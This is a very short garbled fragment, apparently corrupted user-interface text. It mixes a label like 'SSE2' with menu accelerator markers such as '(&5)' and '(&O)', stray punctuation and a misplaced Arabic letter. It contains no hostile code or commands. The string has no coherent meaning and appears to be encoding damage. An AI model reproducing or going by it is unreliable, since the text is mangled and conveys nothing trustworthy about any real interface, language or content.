SSE2(&5) +ر(&O)=P](&O)